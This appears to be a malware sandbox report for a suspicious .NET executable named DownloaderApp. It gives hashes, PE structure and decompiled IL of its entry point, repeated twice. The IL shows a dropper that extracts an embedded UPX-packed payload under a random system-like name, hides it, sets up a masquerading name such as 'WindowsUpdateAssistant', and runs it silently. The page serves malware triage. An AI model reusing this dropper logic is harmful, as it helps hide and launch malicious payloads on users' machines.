Suspicious
Suspect

fe415557ba8004349316645525c793a9

PE Executable
MD5: fe415557ba8004349316645525c793a9
Size: 180.74 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Medium
MD5 fe415557ba8004349316645525c793a9
Sha1 e8b27a9b284b6d5d7a792692d01c8b70ea8cafb4
Sha256 3f050137b9f180dc883989c7717227cedfeb4c72ebfeca415578b8c5a875fa6a
Sha384 fca757b4eed4808676dd6ad42c6b7311eee7c3323d3d47953d69bf5229d507e72800592b49f1490efeab90447aae8231
Sha512 dd4fb3a5f5407980988996269a69171ec143e74e058afca23ad480467a24e30d238b530218171b3c9dbd41db75fb4979e3b94edef51a47292cefd4be086aeb4b
SSDeep 3072:R8btTfnelD+aL26Ogi52ztMX/kipPTq/jLfuDX+gUy1i4woUDQut/T0j8z4OFOto:R8b++arOgi5Q6X/u/nfuDX+Uo4woUDQn
TLSH C204024363FC4238F0B56978A5BB9901BA76FFD0AC7DC45DA099700D49B7A74C5B2321
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
fe415557ba8004349316645525c793a9
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
YSu8Dse5ZvR2.oGFxd.Jb9gP
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
UPX0
UPX1
.rsrc
Resources
RT_MANIFEST
ID:0001
ID:1033
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Info 
PDB Path: C:\10\boot\Downloader_no_def\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
28
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
142
Main IL 
ldc.i4.s 10
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr runtimehost.exe
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr systemhelper.exe
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldstr windowsruntime.exe
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr hostprovider.exe
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldstr servicehelper.exe
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr taskmanager.exe
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldstr systemruntime.exe
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr windowsservice.exe
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldstr hostmanager.exe
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr runtimeprovider.exe
stelem.ref <null>
stloc.0 <null>
ldc.i4.s 10
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr WindowsSystemMaintenance
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr MicrosoftSystemMonitor
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldstr WindowsUpdateAssistant
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr SystemPerformanceMonitor
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldstr WindowsSecurityScanner
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr MicrosoftServiceHost
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldstr SystemConfigurationManager
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr WindowsDiagnosticTool
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldstr MicrosoftRuntimeService
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr SystemHealthMonitor
stelem.ref <null>
stloc.1 <null>
newobj System.Void System.Random::.ctor()
stloc.2 <null>
ldloc.0 <null>
ldloc.2 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
stloc.3 <null>
ldloc.1 <null>
ldloc.2 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
stloc.s V_4
ldstr USERPROFILE
call System.String System.Environment::GetEnvironmentVariable(System.String)
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_5
ldstr YSu8Dse5ZvR2.oGFxd.Jb9gP
ldloc.s V_5
call System.Void A.B::F(System.String,System.String)
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_013B: leave.s IL_0140
ldloc.s V_5
ldc.i4.3 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_5
ldloc.s V_4
call System.Void A.B::I(System.String,System.String)
ldc.i4 2000
call System.Void System.Threading.Thread::Sleep(System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_0140: ret
pop <null>
leave.s IL_0140: ret
ret <null>
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
28
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
142
Main IL 
ldc.i4.s 10
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr runtimehost.exe
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr systemhelper.exe
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldstr windowsruntime.exe
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr hostprovider.exe
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldstr servicehelper.exe
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr taskmanager.exe
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldstr systemruntime.exe
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr windowsservice.exe
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldstr hostmanager.exe
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr runtimeprovider.exe
stelem.ref <null>
stloc.0 <null>
ldc.i4.s 10
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr WindowsSystemMaintenance
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr MicrosoftSystemMonitor
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldstr WindowsUpdateAssistant
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr SystemPerformanceMonitor
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldstr WindowsSecurityScanner
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr MicrosoftServiceHost
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldstr SystemConfigurationManager
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr WindowsDiagnosticTool
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldstr MicrosoftRuntimeService
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr SystemHealthMonitor
stelem.ref <null>
stloc.1 <null>
newobj System.Void System.Random::.ctor()
stloc.2 <null>
ldloc.0 <null>
ldloc.2 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
stloc.3 <null>
ldloc.1 <null>
ldloc.2 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
stloc.s V_4
ldstr USERPROFILE
call System.String System.Environment::GetEnvironmentVariable(System.String)
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_5
ldstr YSu8Dse5ZvR2.oGFxd.Jb9gP
ldloc.s V_5
call System.Void A.B::F(System.String,System.String)
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_013B: leave.s IL_0140
ldloc.s V_5
ldc.i4.3 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_5
ldloc.s V_4
call System.Void A.B::I(System.String,System.String)
ldc.i4 2000
call System.Void System.Threading.Thread::Sleep(System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_0140: ret
pop <null>
leave.s IL_0140: ret
ret <null>
fe415557ba8004349316645525c793a9
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
YSu8Dse5ZvR2.oGFxd.Jb9gP
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
UPX0
UPX1
.rsrc
Resources
RT_MANIFEST
ID:0001
ID:1033
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙